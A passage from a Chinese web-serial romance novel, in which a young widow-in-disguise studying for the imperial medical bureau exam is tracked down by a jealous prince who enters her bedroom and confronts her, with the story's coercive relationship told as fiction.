程芙瞅着盘子里香气扑鼻的蒸鱼,不禁口舌生津。 “真香。”她说。 小桃嘿嘿笑着用力咽了口口水,“咕咚”一声,还挺大动静的。程芙愕然,想起小桃经常在好吃的附近咽口水,完全不避讳。有一回因为生出口水还要微笑,不禁流出了一点…… 她愕然并非轻视小桃,紧紧是单纯的惊讶,因她下意识里把婢女自然而然往玉露、宝钿那些人身上靠,便是三等的婢女,也只是不够机灵,失仪却是万万不会的。 失神仅仅发生一刹那,转念她又反应了过来,自己十三四岁时不也这样,那时的自己也是小桃呀,不,连小桃都不如。 后来徐峻茂时常叫她过去服侍他用饭,把好吃的一径拨她碗里,说:“吃吧吃吧,笨蛋,我怕你把口水淌出来。” 想到了这些,程芙便觉得小桃挺可爱的,正是能吃能喝的年纪,哪有不馋的,更何况还要饿着肚子伺候人,不似大户人家的婢女,轮流站班,自有一堆茶水点心先果腹。 她把多余的菜拨到一个碗里,“拿去用饭吧,咱们小门小户的不讲究排场,用不着从旁侍立,吃完过来收拾碗筷即可。” 是她着了相,被人伺候惯了。 小桃欣喜若狂,望着碗里的小鸡炖蘑菇和肘子肉,眼眶酸酸的,说:“米嫂子说厨房还给我留了一碗呢。” “再加这碗你肯定也吃得下。”程芙笑。 小桃脸一红,雀跃着告退,捧着好吃的肉奔向厨房。 服侍这一块,程芙已然想通了,其他方面更不用说。 短短三个月,她完全适应了普通人的衣食住行。 菜叶子不是非得吃最嫩的那一片,最外层稍老些的,洗干净切整齐,仔细翻炒,出锅后便是一碟热腾腾的下饭菜。 肉食更不必说,无需挑精拣肥,有的吃已不错。能够天天吃肉的人家真的足够幸运,倘若过这么好的日子都要怨天尤人,那真该去城西的福田院里过几日,便知什么是福泽什么是真正的疾苦。 …… 这日杨氏从柳家离开,乘车去了城东两三里外的锦山。 此处原是大长公主的封地,大长公主薨逝后,因无后嗣继承,便由官府接管,户部将土地扒拉扒拉,划分成好几片卖给名流豪门,赚得盆满钵满。 名流豪门购得心仪的土地,相继建起一座座别苑深宅,渐渐形成一片世外桃源。 没有帖子的普通人根本进不来,能进来游玩的年轻人多是进士举人。因主家惜才,每年都会把其中一处园子借给他们当作期集院,举办诗会,雅聚。 而今春闱早已过去,这片湖光山色之地稍显清幽。 杨氏到了湖边下车乘船,递上拜帖,径直走向一处粉墙黛瓦的苏式宅院,敲了敲门,不一会儿有人探出头,见是她,忙点了点头,拉开角门,她提衣迈了进去。 彼时太阳偏西,一叶叶轻舟从碧绿的湖面飘荡而过,水花摇撸声浅浅,苏式宅院沐浴此般秋色中,宅院深处的漪碧园内,崔令瞻正仰首观察着葡萄。 快要成熟了。 但漪碧园的葡萄多为观赏而植,好看不好吃。 杨氏垂眸走了过来,朝着他背影屈膝施礼,“给王爷请安。” 崔令瞻未回头,依旧打量着葡萄,淡淡问:“阿芙咳疾可好了?” “回王爷,已经大好。” “忙的什么?” “天天闷在屋中看书,为太医署的医员考核用功呢。”杨氏轻声细语回,顿一顿,又道,“柳家的应酬圈子相当简单,芙小姐就更简单了,几乎不与人来往,前门大街那位自从被您警告了一番,也未曾再去接触她。只不过……” “不过什么?” 杨氏抄手弯着腰,小心翼翼道:“柳氏正在物色合适的青年,意欲再醮芙小姐……” 不等说完,她先打了自己的嘴,苦着脸道:“奴婢这嘴该打,糊涂脑子说糊涂话,王爷息怒。” 醮什么醮啊,王爷活得好好的,芙小姐又不是真的寡妇。 崔令瞻负在身后的手握成拳,骨节发白,他冷冷转过身,眼睛漆黑,薄唇紧紧抿住。 稳了好久,他才让心神从震怒中平缓,面色无波无澜道:“把本王介绍给她,就问她远房的舅舅要不要?” 杨氏:“……” 这是王爷的气话,她自然不能真接下话茬。 “王爷,奴婢当时就想到了您,回柳氏您是奴婢认识的一名后生,样貌俊美家世矜贵,柳氏听了极为意动呢。”她说,“将来可能真要见您的。” 崔令瞻:“……” 他闭目深深吸了口气,再睁开眼睫,目光清明了许多,不再讲气话,“盯仔细些,莫要打草惊蛇,她若真敢出去与人相看,即刻回禀本王。” “是,王爷。” 崔令瞻摆摆手,面沉如水进了屋,甫一落座圈椅,蓦地挥袖扫了把紫檀大书案,案上的笔墨纸砚,砚屏玉架以及翻阅一半的邸报登时东倒西歪,丁零当啷作响,最后横七竖八躺在了擦得光可鉴人的方砖上。 墨汁飞溅,染乱了他的织金曳撒。 如非身不由己,他现在就想策马飞奔到双槐胡同,闯进柳宅,把她提起来质问——究竟哪回没疼她宠她了?她怎能如此辜负了他? 世人皆说男儿多薄情,殊不知女人负心薄情起来也毫不逊色的。 他郁愤难平。 从未想过自己会遭遇此般奇耻大辱,顶着-绿-头巾来到了京师。阿芙怎么可以,怎么能够如此待他…… 崔令瞻支肘以拳抵额,不言不语。 想起阿芙对他所有的苛刻放在别人那里皆行得通的。 徐峻茂给她些不值钱的小恩小惠,哄她做妾,她把人当好哥哥,诸多维护。 凌云以赶路为借口搂搂抱抱她,睡觉还同处一室,等她睡着了不定如何下-流,她却像个没事人。 怎么轮到他这里,不是舅舅便是“死”男人,这也不行那也不行,哪怕把她当个祖宗供着也不行,仿佛浑身长满刺。 此时此刻,铺天盖地的委屈涌上崔令瞻心头,盖过了屈辱。 哀怨的男人把老天爷都愁坏了,在这八月初二的晚间,天空闪了闪,雷声轰鸣,秋雨骤降,宛如银河倾泻了。 雨势哗哗啦啦,敲击着窗外的芭蕉叶子,溅湿了新填平的地面,把土腥气泅进了室内。 程芙被小桃关窗的动静吵醒,抬了抬头,感觉到小桃关了窗后抱着胳膊跑回耳房睡觉了,她便也重新躺下。 明日乡试开考,要持续到十四,城中各要道戒严,鹿儿街附近白日禁止大声喧哗,越靠近贡院的地段管得越严,如此一来,可苦了靠吆喝市声的贩夫货郎,以及卖艺的杂耍班子,所以这段时间他们就集中来了西门桥市碰运气。 程芙所居的双槐胡同正位于西门桥市附近,姨母把这样的日子当成一个小庙会,街市货物齐全,五花八门,价格也比平时便宜些。 她与程芙商量初八出门逛一逛,一则为了观察京师的铺面,二则为了十五的中秋节,看看有没有实惠的节礼。 中秋月圆,少不得走亲访友,人生在世便是交际的圈子简单,也有一些人不得不应酬的——比如安国公府里照应过柳余琴的管事和管事娘子们。 姨母的事便是程芙的事,她自是要陪姨母共同置办节礼的。 过日子哪有不精打细算的,虽说姨甥二人小有积蓄,但她们说到底是妇道人家,也没有强壮的兄弟和丈夫依靠,经不起太大的风浪。说句不好听的,走在大街上被人打一顿,只要打不残打不死,对方跑得快,那她们可能都要白挨的。 眼下唯有把目光放长远,多攒银子方为上上策。 娘俩约好初八逛西门桥市。 眨眼就到了初七,柳余琴要去安国公府为国公夫人卢氏请平安脉,程芙则在小桃的陪伴下前往太医署报名。 临行前,她又检查了一遍册籍方才放心地登上刘姨家的骡车。 程芙在心里想,回来时再去福仙楼买几样点心答谢刘姨借车之恩,顺便把骡子喂饱。 邻里之间,受人恩惠,也该懂得回馈。 小桃虽然不算很机灵,却极擅认路,完美地弥补了程芙的短板,二人顺顺利利到达了皇城附近。 入口处站着六名身着漆黑甲胄的兵卒,皆身杆笔挺,浓眉肃目,宛如庙里的金身罗汉。 因朝廷的重要公署皆在皇城内,盘查相当严格,程芙不得不撩起纱帘,敛神奉上册籍。 如此,一道道惊艳的目光瞬间投了过来。 站在普通人堆里的她,委实格外突出,美艳不可方物。 拦路的兵卒盯着她的脸,喉结滚了一下,转而又发现了她的妇人发髻,不禁失望叹气,只得怏怏垂眸翻阅她册籍。 “一本册籍也要翻这么久?” 程芙听见头顶一道平直漠然的声音,她仰起脸,凌云垂眸看了看她。 兵卒一怔,慌忙将册籍双手奉还程芙:“已毕,请过。” 程芙抿唇收起自己的册籍,叮嘱小桃找个辟荫处等她。 小桃:“奶奶放心,我站西面的墙根等你,哪也不去。” 程芙跟在凌云身后踏进了皇城,略有些儿发懵,正在思量该往哪个方向走,找谁问问路,凌云侧过身看她,“我不就是现成的一个熟人,放着我不问,难道去找那个盯着你流涎的兵卒?” “不要胡说。”她霞飞双颊,暗暗着恼,但不值得与他计较,遂温和道,“敢问大人太医署如何走?” “跟我来。” 他面无表情转过身。 程芙本本分分跟在他身后。 “容我说一句冒犯的话。”凌云说,“世道如此,以你的相貌便不要抛头露面,也能少些麻烦。” 遇到了知法守法的正常人,最多被人多瞧两眼撩拨两句;遇到了横行京师的门阀权贵,晚上就能一顶小轿把她抬走了。 “您说得容易。”程芙笑了笑,“既知世道如此,又怎能不知立世生存有多难,我不靠自己捧住朝廷的铁饭碗,难道窝在家里喝西北风?” 她长得娇滴滴的,却生了带刺的魂儿,一张口就堵噎人。 凌云不怒反笑,心情莫名好了些,柔声道:“你是女孩子,为何不嫁人?” 一定有许多人愿意娇养着她宠着她的。 “这便不劳大人操心。”程芙说,“姨母一直在为我张罗,说不定哪天缘分就到了。” 凌云一窒,感觉有块石头堵在了喉头,转过脸不再搭理她。 程芙好奇地环顾着周遭,皇城好大,好多公署。 他快走了几步,她一怔,忙迈着两倍的步子追上他;他故意脚步一顿,她果然撞到了他身上。 程芙美眸微瞠,支支吾吾道了句歉。 “怎么回事儿啊你?”凌云阴阳怪气道,“我不过是提了句不中听的建议,有必要故意撞我一下,还踩了一脚?” “我没有故意。”她粉靥薄红。 伶牙俐齿的程芙其实是个厚道姑娘,别人欺负她,欺负狠了她才会还手顶嘴,一旦理亏,立刻就变得极柔软,极温吞。 “实在对不住您。”程芙汗颜,“麻烦大人跟我说说怎么走,我自己过去吧,免得不小心再冲撞了您。” 凌云:“……” 他变得顾左右而言他,“你又怎么回事?四十来日不见也不知问候声……” 可她和他也不是很熟啊,论从前吧,确实有“过命的交情”,可仔细一想又什么都不是。程芙为难道:“我不知道该说啥。” 凌云的声线变得低落:“是因为我一直没有去见你,我们就生分了吗?” 不是,她和他就没特别熟过呀。程芙黛眉轻蹙,指尖挠了挠脸颊,又攥着自己的双手,斟酌了一下措辞,才道:“大人跟我不是一类人,您身份多高,且男女有别,不生分一些不太好吧?” 凌云唇瓣微微翕动,视线定定笼罩她,看微风吹乱她鬓边的碎发,看它们摇曳覆了她粉嫩的脸颊,他伸手探去,想为她拨开。 程芙下意识别开脸,而后整个人猛然一晃,仿佛被人点中了最致命的穴道,浑身的肌肉都僵硬了,又像是一条被冰层瞬间凝固的小鱼,动也不动。 八月初七,天朗气清,万里无云,秋风习习,黄历上说大吉,宜出行。 而程芙,便是在这大吉之日里抬眸跌进了“亡夫”春雪冷凝的眼眸里。 崔令瞻自东南方向阔步而来,宝蓝底的团龙纹云锦圆领袍,朱红色玉鞓带,摆导随行不下二十余人,可她只看得见他,也只能瞪着他,宛如发现了天敌的小兽,毛绒绒地炸开,伏地目眦欲裂。 凌云当时就发现了程芙的异常,手指顿在她脸颊,循着她的目光而望,也怔住了。 崔令瞻目不转睛睨着奸-夫-淫-妇,两片优美的唇被他生生抿得发白,几欲-咬碎一口银牙。 众宫婢内侍簇拥毅王匆匆而过,全程没有人过来缉拿程芙问罪。 那日程芙觉着自己仿佛踩在了坑坑洼洼的棉花上,任由凌云领着去了太医署报名,再神思恍惚走了回去。 直走到无人之处,她忽然掩口,大颗大颗的泪珠滚落,不待凌云开口,抢先攥住凌云手臂道:“亲王怎能入京?你快告诉我这不是真的!” 她以为京师是牢不可破的堡垒,以为亲王无诏不得入京,自信崔令瞻拿她无可奈何,只能望洋兴叹。 何曾料到他竟大摇大摆地走进皇城,直奔宫城。 如此还有什么不明白的,他有诏,他被皇帝诏过来了!! 凌云:“他并没有表面那么光鲜,正与东宫斗得不可开交,应是无暇男女之情。即便收拾你,也不好明目张胆,授人以柄。” 闻听此言,程芙更怕了,本就娇怯的声音颤颤的,像是绵软的什么,吐气如兰地贴着凌云耳朵呢喃。 他眸光灼灼,凝视她一张一合的红唇。 “他,他简直目无王法,怎能与未来人君斗法,难道没人站出来管管他吗?”程芙就差直接问谁能治他。 凌云屈指揩掉她眼角泪花,“情况复杂,一时半会儿说不清,这也不是说话的地方。” 他压低了声音,“乖一点,我送你回家。” 大敌当前,程芙也顾不得什么礼数和男女有别了,深一脚浅一脚地跟着凌云落荒而逃。 当然,落荒而逃之人只有她,凌云和小桃很是轻松,从容不迫,甚至在车上拉起了家常。 小桃不是不怕锦衣卫,实在是凌云生得过分好看,当那张嘴不淬毒,还是挺会讨女孩子巧,加上不摆官架子,几句话下来,就被小桃归为正常人。 赏心悦目的正常人。 从太医署回来,傍晚程芙突发高热,柳余琴闻讯赶来,又是擦洗又是喂药。 把人稳定住又诊了一番脉,忙问小桃:“好端端的怎么就惊惧失魂,内腑失调了,今日可有什么冲撞你们?” 小桃眨巴着大眼睛回忆,摇摇头,回:“没有啊,去的路上奶奶跟我有说有笑的,然后遇到了凌大人,咱们一起回来的,没见奶奶哪里不对劲。” 她把回程事无巨细说给了柳余琴听。 确实没有不对劲的地方。 “没有人冲撞奶奶。”小桃信誓旦旦,“凌大人恪守礼数,还给我和奶奶买了好吃的。” 柳余琴拧眉,扭头看向床上昏睡的程芙,叹了口气。 天降横祸,娘俩没法初八一齐逛街了,柳余琴留在家中照顾程芙。 也不知杨氏从哪儿听到了动静,竟带着大包小包的药材上门,不由分说,撸袖子添炭加水熬药,根本不与柳余琴客套。 高热持续了一晚方才退下,又过了一日,初九转好,程芙靠着引枕,失魂落魄。 柳余琴探了探她脉搏,眯眸沉吟片刻,身子骨没啥大碍,许是大病初愈才显得精神不济。 想到十五将近,还有一堆的事情等着处理,柳余琴把她交给婢女,自己先去了西门桥市。 婢女留在家中服侍程芙洗漱梳头。 程芙吃不下饭,仅喝了两口水便又睡下了。 她想不通,睡也睡不安稳,脑袋里走马灯似的转了一圈又一圈,每一幅画面都是崔令瞻在使坏,陷害她,陷害她姨母,她和姨母蹲大牢…… 好委屈啊。 她在梦里啜泣,香腮凝汗,泪珠滚落,眼圈儿红红的,胸-脯因剧烈地喘息不断起伏,直到被熟悉的怀抱完全拢住,熟悉的气息抚-慰,才幽幽睁开了眼。 她与他四目相对,脉脉无言。 “原想过段时间再来收拾你的。”崔令瞻低低道,“可你病了,坏事做多了吧?” 他声音凶恶,仿佛从牙缝里蹦出了每一个字,目光却如水—— 作者有话说:月底啦,还有营养液的宝宝记得投一投哦,我们的宗旨是不能让营养液过期,浪费营养液坏坏[垂耳兔头]《 》 45-50 第46章 程芙直勾勾瞪着梦里戕害自己和姨母的刽子手, 脑子里嗡嗡着各种杂乱的主意和尖叫,脸上呈现出一股灰败,而后挪开了目光, 眼神先是下移, 后移至左边, 终是耐不住, 猛然又转向了近在咫尺的崔令瞻。 这才有了丝儿活气,惨白的香腮由白转了红。 可她动不了, 像只蚕蛹,被薄衾裹成一团, 崔令瞻把这只动不得跑不掉的蚕茧抱于膝上, 双臂拢着,贴紧怀里。 此时此刻,她只有脑袋是自由的。 所以她还可以尖叫, 扯着嗓子叫救命,能惊动一个是一个。 程芙却死死咬着下唇肉,勉力不叫自己失张失智,不错眼地盯着崔令瞻的一举一动。 弄出动静,吃亏的人只有她自己。 人生在世,便是不指望与旁人融成一个圈子,可也不能让人闻之色变, 指指点点戳脊梁骨。 青天白日的, 小寡妇寝卧被一个男人闯入,只要她敢叫,天黑前便传遍双槐胡同。 漫说她的名声了,就家里的四条小命——冬芹、小桃、米嫂子、马婶子,谁能打得过崔令瞻?把她们叫过来不若给崔令瞻多练几下手, 而后送她们一齐归西。 她一双翦水秋瞳眨了眨,似有水濛濛的雾气晃动,“……” 崔令瞻眼睛略眯,斜睨她,阴恻恻道:“百日不见,姑娘愈发沉稳了,是个能担事的好苗子,便是做尽坏事落到苦主手里,也是一身胆气,端稳无声。” 天可怜见,她都要吓晕了,瞠目失语的,在他眼里竟是“一身胆气,端稳无声”。 程芙听着他的冷嘲热讽,烦乱心绪竟奇异地平复大半,她试着扭动,妄想钻出“蚕茧”。 崔令瞻:“我劝你休要乱动,免得把我一身邪-火烧得更旺。要不你先帮我纾解一下,咱们也好心平气和叙旧。” 虽是恐吓警告,实则心里暗暗存了期盼,盼她真的应下,两厢畅美一回,事后也能更理智地坐下来谈谈。 主要以他此刻的急迫,应是耽误不了太久,速战速决。 未料轻薄-浪-语一霎引燃了程芙佯装的好性子,她着恼了,慢慢转过脸,神情扭曲,用力瞪他,红润润的唇一再紧抿,颤声喝骂:“你——无耻!” 被人钳制住的姑娘家,红着脸拿娇眼瞪人,用细细的嗓子怒骂,这样的满腔愤懑根本引不起旁人的重视,反倒让崔令瞻小腹-一-热,心里头仿佛被什么燎了一下。 崔令瞻:“……” 程芙攥着拳头睁大眼,观他一双原本清明森冷的眼,正迅速变深变热,又如何猜不出他是真的在想龌-龊之事,心中不禁愈发凄苦。 眼前的男人与她做过七八十日的露水夫妻,彼此都有了解,她知自己在他的眼里是无比合心意的床伴、最合眼缘的美人,他待她几多怜惜——只要她以女人的身份示弱,他就一定会心软的。 程芙:“王爷,您是来杀我的吗?” 只要他记得她的身体给过他多少醉生梦死的快意,就一定会心软的。 只要他心软,事情便还有转圜的余地。 “别这样,咱们先算账,你还是像方才那般桀骜不驯瞪着本王吧。”崔令瞻的声音是冷的,轻抚她脸颊的掌心却滚烫。 程芙寂然一笑,抢先开了口,“王爷您把地位金钱捧给我,平素也不对我大小声,更没有动过手,便觉得对我宠上了天,偏我不识抬举,转头就跑了,您是不是恼羞成怒,特没面子?” 不等崔令瞻启,她继续抢白:“可我来人间一趟不易,肉长的心脏,也有七情六欲,从不甘受人捏圆搓扁。您为何不先问阿芙喜不喜欢呢?” 她哽咽一声,眼眶通红,“阿芙不喜欢您,更不喜欢您在帷幔深处做的那些事,讨厌您把我羞-耻的恨不能去死的事情当成玩不腻的游戏,甚至迫使我直面您欺负我的动作……” 她不喜欢,每一次都不喜欢。 恨他套着贵公子的皮囊,对她做尽了人间肮脏之事。 而她嘤嘤哭着的讨饶,只唤醒了他莫名其妙的激-奋,仿佛断了缰的野兽。 便是过后再如何温言软语轻哄,都弥补不了她那时心灵的破碎。 她知道自己貌美,许多男人都对她不怀好意,但崔令瞻不可以。 她不接受。 决不允许他如此龌-龊。 崔令瞻神情狼狈,愣了一下才反应过来阿芙的厌恶有多浓,他嘴角抽搐,牵了几次方才牵出一抹难堪的笑。 “是你自愿的。”他说。 “谈条件时都答应,好处也都给了你,临了了反倒记起了仇,你可真行!”他愈说愈气,恼羞成怒,一把钳住她的下巴,恶狠狠道,“本王又不是菩萨,终日做小伏低图什么?不图你的身子又何苦受你的气!答应好的事你想不认账?” “难道我不答应王爷,还有其他的选择?”程芙心灰意冷道,“不答应您就得在澹州坐牢,或者被遣返清安县。王爷,我好怕,他们羞辱我的方式只会比您更狠,除了选择您,我还能怎么办……” “别无选择就选择本王做冤大头,给本王扎绿-头-巾?!”崔令瞻气急败坏,面色煞白,“我还未与你清算,你倒先拿乔起来。我且问你,何时与凌云有的首尾?” 程芙心头大跳,也白了脸。 崔令瞻起身扯开困住她的薄衾,程芙头晕脑胀,勉强扶着他站稳,就被他攥住手臂,狠狠往上一提,被迫垫足拔高了一截,直面他的愤怒。 他素日惯爱拈酸吃醋,先是徐峻茂,如今又加个凌云,且凌云的事已经不是普通的酸醋了。 “程芙,当日我们议婚,你同意了,我没冤枉你吧?你顶着本王女人的身份与凌云私奔,吃住混在一处十余日,更以夫妻相称,怕是夫妻之实都有了,可曾考虑过本王的感受?!” 他待她一心一意,从不将别的女人放在眼里,她怎能允许别的男人亲近她…… 崔令瞻错牙,恨不能当场咬她一口。 程芙:“您不逼迫我成亲,我又怎会不顾一切逃走?” “你我早已圆房,成亲天经地义!” “可我不喜欢您,我不要天天面对您!” 崔令瞻:“……” 他瞪圆了一双漆黑的寒眸,一而再的“不喜欢”早就激怒了他,把他努力维持的虚伪的从容撕个粉碎,气得他一声声抽气,心里直发抖。 狭小的房间随着她的话音落地,陷入了令人不安的寂静。 良久之后,程芙才听见崔令瞻无波无澜的声线。 他说:“你再说一遍。” 程芙:“……” 照旧梗着脖子抿紧了双唇,到底是没敢继续顶嘴。 她又不是傻子,明知体力和地位有着天壤悬殊,还硬碰硬一逞口舌之快,图什么? 图给他借口教训她? 崔令瞻心口扑扑急跳,狠狠放开了她,踉跄后退一步。 程芙如蒙大赦,踅身往门口走,后脖子就被一只大手扣住,不轻不重捏着她,她花容失色,挥舞两只手儿去掰他的虎口。 两具烧着熊熊烈火的身体,你来我往,磕磕碰碰,扭作一团。 程芙低呼一声,被巨大的力量扔到了褥子上。 崔令瞻哑着嗓子喘息,寻个圆杌子兀自坐下,双手搭于膝盖,周身气血直冲太阳穴。 他咬牙道:“程芙,今日你且老老实实回答本王的问题,本王暂且不计较你做的那些好事!” 令毅王爱之情切、恼之情薄的姑娘,维持着被他丢进褥子上的姿势,动也不动。 “金修茗追了你们一路,你们不知廉耻的行径着实让人大开眼界。”他凉凉道,“你和他云-雨过几次,回到京师是否有过,可采取避子措施?” 一直都舍不得伤她,可她若真把事情做绝,与人珠胎暗结,他也会毫不犹豫灌她一碗药打掉。 沉默了须臾,她才幽幽启音:“您是不是有什么癔症?” 崔令瞻:“……?” “阿芙连您都看不上,又怎会看上他?” 话虽如此,崔令瞻也很想相信,可是……他抬眸忿忿道:“初七那日,你们在皇城东南角做什么?看不上他还能允许他摸你的脸?朗朗乾坤下都敢眉来眼去,私底下谁知有多脏!” 越想越恶心。 只恨不能将她捉去锦山的温泉池子,里里外外仔细洗一遍。 “我也不知他为何突然把手伸过来,我也没有答应他,不曾想把脸别开的功夫就撞见了您。” “不喜他摸为何不继续躲?”他眼神阴鸷,抓着逻辑不放。 “被您吓懵了,愣在原地。” “果真?”他浓墨眼睫微微晃,抬起眼帘看她,铺天盖地的委屈与怒火一下子就弱了下去,杂糅成了酸涩的疼。 她可知他早就疼得血淋淋? “爱信不信吧。实在气不过的话,您现在就把我掐死,找回亲王之尊的颜面。我死了,世间不过少一个薄命之人,京师底下多一缕薄命之魂,碍不着您金尊玉贵的人生。” 这段话的杀伤力本不大,可她既没有咬牙切齿,也没有自怜自艾,反倒平静地可怕,声音也轻得让人不安。 崔令瞻一慌,以为方才手劲过大把她摔麻了,亦或磕碰了哪里,他忙站起身疾步上前,俯身查看。 那么小的人儿被他宽阔的身影笼罩着,小脸惨白,眼里透着一股死气,眨也不眨盯着某个虚无的点,任凭他端详。 “阿芙。”他忙把她抱进怀里,鼻尖轻轻蹭着她的,暖着她凉凉的身子,嘟囔道,“阿芙……” 良久,她才别开脸,怔怔问:“您不杀阿芙的话,可是有什么后手?” “我何时说要杀你了?” 程芙:“所以,还有没有后手?” “我能有什么后手?最多把凌云剁碎了喂狗。”他淡淡道。 程芙瞳仁一缩,眼神似是在看一个撒癔症的疯子。 可怜毅王殿下,修习养气十余年,端肃克己,体面了二十年,何曾被人这般鄙夷过。 他闭了闭目,把脸埋在她颈窝里,闷声道:“待我了结了京师的事,咱们回燕阳吧,永远在一起不分开……” 程芙没有回答。 崔令瞻只得忍气吞声,一遍又一遍唤着她,“阿芙,芙娘,我真的疼你,我疼死你了,你就从了我吧,与我回燕阳……” 他紧紧搂住她不撒开,只恨不能将彼此化成了花木与藤蔓,血肉相融地生长,共生共灭,把光阴也停滞了。 程芙胭脂凝靥,呼吸不稳,浑身快要烧了起来,只恨不能攮他一刀,不停摇首避开他的牙关,他用牙关一下一下轻轻啮噬她细嫩的耳珠,并不敢用力。 女孩子发出了惊慌与拒绝的哼唧声。 他立即松了口,继续哄着:“都是我不好,怎能不相信阿芙这般清风朗月的人物,白白误解了你,吓到了你,你打我吧,打这里……” 程芙真的低估了一个男人厚颜无耻的程度。 从前的她,潜意识里或多或少觉得毅王是个体面人,断然想不到他是如此不要脸。 这哪里是打他,分明是要奖励他。她咬紧了牙推开他,他便继续甜言蜜语,扭着她不放。 “芙娘,我的好芙娘,我知道你是正派人,但是咱们得先说好了,那种事绝对不能……不要背叛我……”他仍是不甘。 那是一个男人的底线。 没有谁顶着-绿-头-巾还能笑得出。 午后没有人过来打扰程芙休息的寝卧,无人知寝卧里的毅王几多柔情蜜意。 冲突之后,问题根本没有解决,毅王只是把幽怨和不甘藏在了最深处,汹涌澎湃,却为骨血里的天性束缚——一抹生来就为了宠爱她,讨她欢心的天性压制着。 迫使他不得不适可而止,慢慢筹谋,重新布下诱-捕她的陷阱,前提是不能惊吓到这个警惕的小猎物。 浑身心眼的毅王搂着他的美人儿轻轻摇晃,嗅着她的味道,赞美着她的青丝、眉眼、气息,他柔软的唇温存地安慰着她,额头、鼻尖、下巴,却不敢动其他地方分毫。 收起利爪和獠牙,假作温顺地把她的尖刺一点一点拨回原位,又一点一点捋顺她的逆鳞。 决口不提那些明明恨得牙痒痒的桩桩件件。 直到筋疲力尽的她抵不过困倦,在他的轻柔呵哄里睡了去,他撩眼,眸底一片阴鸷。 程芙阖目,细听男子放下帐幔,轻手轻脚地离开,直到感觉门扉重新掩上,适才慢腾腾睁开眼睫。 干躺着半个时辰也无人问津,料想小桃等人压根不知外男来过,此刻多半聚集耳房做针线。 小门小户的下人,不仅要负担主家的部分鞋袜还得负责自己的,非年非节的,没人舍得去成衣铺子,那种地方进去一趟刮一层油。 这层油水能买许多生活必需品的。 小桃时不时趴在耳房门口朝程芙寝卧的方向眺一眼,奶奶还在睡觉,丁点动静也没有,便返身继续纳鞋底。 殊不知寝卧内,程芙正在翻箱倒柜。 崔令瞻固然触犯了律法,登堂入室,非礼民女,可她要是敢跑去府衙敲鸣冤鼓,定会被官差乱棍捶出去的。 举凡非死非残,平民状告皇亲国戚即为大逆不道! 死了残了再去告,所能得到的也不过是权贵的一笔补偿款,给多少何时给都不是自己说了算。 这是个受过苦姑娘,对衙门官司略知一二,自不会再犯傻硬碰硬。 可一想到崔令瞻如入无人之境找到她,程芙就一阵阵后怕,心脏几乎要蹦出嗓子眼。 她不甘坐以待毙,从东面的柜子摸出一把茶刀。 大昭的官府严格管控金属利器,百姓想要购买菜刀、屠户购买屠刀均需经过府衙审批,而后登记造册,由此推断匕首刀剑的获得途径只会更繁琐了。 程芙一介女流,压根没有购买渠道。 所幸茶刀也是刀,用力的话也能把人攮破皮。可下一瞬,她就像是泄了气的孔明灯,委顿在地。 毅王要是能被小小一把茶刀攮死了,岂非滑天下之大稽。 焦灼之间,灵台一亮,她想起了凌云说的话——崔令瞻并没有表面那么光鲜,正与东宫斗法。 这里不是燕阳,毅王也怕授人以柄,哪怕是只蝼蚁,只要有名有姓,被他踩死了,不就等同给他的对手送去现成把柄!经过御史台加工一番,提升一个高度,想必也能让他沾一身腥! 若非他有所顾忌,以他心性怎甘心做小伏低,偷偷摸摸,怕是早已命人将她捉回府邸肆意欺-辱。 程芙眯了眯眼,拢紧茶刀的手指发青发白。 东宫,那不就是崔令瞻的亲叔父,叔父和侄儿斗法,不论地位还是辈分都占极大优势,倘若她顺利考进太医署,有名有姓,再凭医术给贵人们留个印象,就不信崔令瞻敢在皇城里兴风作浪? 即便是敢,死一个女医官也比死一个无名小卒来得有威慑力! 至于私下使坏……她想起不久前的他,伏在她耳畔甜言蜜语,发誓绝不叫她吃苦,只舍得她吃…… 甩掉污-言-秽-语,程芙姑且当他还算个人。 天黑前,柳余琴满载而归,但见阿芙穿戴整齐,早早开了门迎接她。 “快进屋,莫要吹了风。”她说。 “哪里就那般娇弱,我可是医女,有数着呢。”程芙领着小桃帮忙搬卸。 姨母年轻时受过伤,留下了病根,腰不能吃力,最忌搬重物和长时间劳作,这也是柳余琴拼命攒银子的缘故,这副身子五十岁之后基本就废了,肩不能挑手不能提。 不趁着还能动时攒些嚼用,到老只能喝西北风。 “姨母别动。”程芙抢走柳余琴怀里的两匹绸缎,“都跟您说了多少遍,有我呢,我给您养老,保证您衣食无忧,可不许再这般拼了,没轻没重的。” 柳余琴心里暖,嘴上揶揄道:“好好好,我不搬便是。再唠叨,不知道的人还以为咱家多了个小老太太。” “姨母——” 程芙娇嗔了一句,与小桃合力搬下最后一筐橘子。 这天晚上,程芙没有告诉姨母崔令瞻登堂入室之事,倒也不是故意粉饰太平,而是经过了深思熟虑。 现在的她看问题偏重结果,思考问题偏重逻辑。 诉之姨母,除了连累她同自己担惊受怕,束手无策,铤而走险之外,改变不了当前的局面,因为姨母也是蝼蚁,她们撼动不了参天大树。 那不如让姨母轻轻松松过日子,自己去筹谋,兴许还能有转机。 夜深时分,程芙把玩着凉凉的茶刀,感受着竹片的锋利,原本她也有一把上等的匕首。 削铁如泥,刀身轻薄,握在手里有些重量,沉甸甸的,非常实在。 可惜当时碍于世俗礼节,以及一些莫须有的自持,她婉拒了凌云的馈赠,抵达京师的途中便将防身用了半路的匕首还给了他。 程芙越想越念,越念越悔,辗转反侧。 而今再去朝他索要的话,该如何开口?如何寻到机会开口? 便是寻到机会开了口,凌云就一定会给吗? 程芙无言以对。 关于凌云殷勤的小心思,她一边受用一边假作不知,等利用完了立刻划清界限,泾渭分明,唯恐引火烧身。 以凌云的城府又如何察觉不出? 怕是早就暗中鄙夷,不大可能帮她了,即使帮,也要索取点什么的。 至于索取何物,程芙心知肚明。 在一个坑里挣扎已经很痛苦了,没必要再跳去另一个,沾上凌云可不一定比沾上崔令瞻更好受。 他们都是男人。 下-流的男人! 想通此节,程芙拉上薄衾盖住脸,凶器什么的暂时放一放,毕竟她也不能明目张胆捅崔令瞻,总要细细谋划的,且先全力以赴准备后日的太医署考核。 据闻太医署的疮疡科配备特殊医刀,小是小了点,却是实打实的锋利金属—— 作者有话说:在强取豪夺这条赛道上,小崔的本质就是一条舔狗,有权有势的舔狗[白眼] 第47章 接下来的日子风恬浪静, 全然不似程芙担忧的惊心动魄,尔虞我诈。 在这凉风习习,木樨花与秋雨共落的八月, 崔令瞻再未出现过, 更没有暗中使绊子为难她。 她和姨母生活顺遂。 倒真是应了当日凌云所言, 毅王与自己的亲叔父斗法, 忙着呢,无暇寻她麻烦。 程芙窃喜之余, 